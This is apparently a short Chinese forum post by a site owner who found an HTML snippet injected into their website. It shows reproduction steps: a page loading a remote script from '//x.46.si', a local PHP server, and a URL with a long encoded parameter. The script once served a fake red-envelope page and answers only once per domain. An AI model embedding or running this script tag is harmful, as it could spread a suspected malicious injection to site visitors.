1、vi x46si.html > '<meta charset="UTF-8"><title></title><script src="//x.46.si"></script>'
2、php -S 0.0.0.0:8899
3、http://0.0.0.0:8899/x46si.html?ifuoySfVvFScEGZgN4EzM7JSYwBnI6IiMmlDNyQmMhBTY5YaY2kjZxcjNaEGOiVjN4UWZ2YaNxMGNiwiIuFWblJiOiMHzvdnIsICdl1GcsFGdllERiojIaADOiwiI0lHclJiOioWdtBnIsIyZfVXzkJiOxkaM5MjNsIyZf5WYtVmI6IycoFmclJCLiAXdahmI6Qnc1VGLiQWY0FmI6Qnc1VWfgN4EzMPdwBFml
- 最近网站被注入了一段如上的 html,起初访问这个链接显示的是一个领红包的页面。目前的提示是内容被删除。
- 第 3 步同一个域名只能被访问一次,第二次访问浏览器会有如下提示。需要换一个域名才能访问,不知道这段 js 在背后做了些什么。
127.0.0.1 未发送任何数据。
ERR_EMPTY_RESPONSE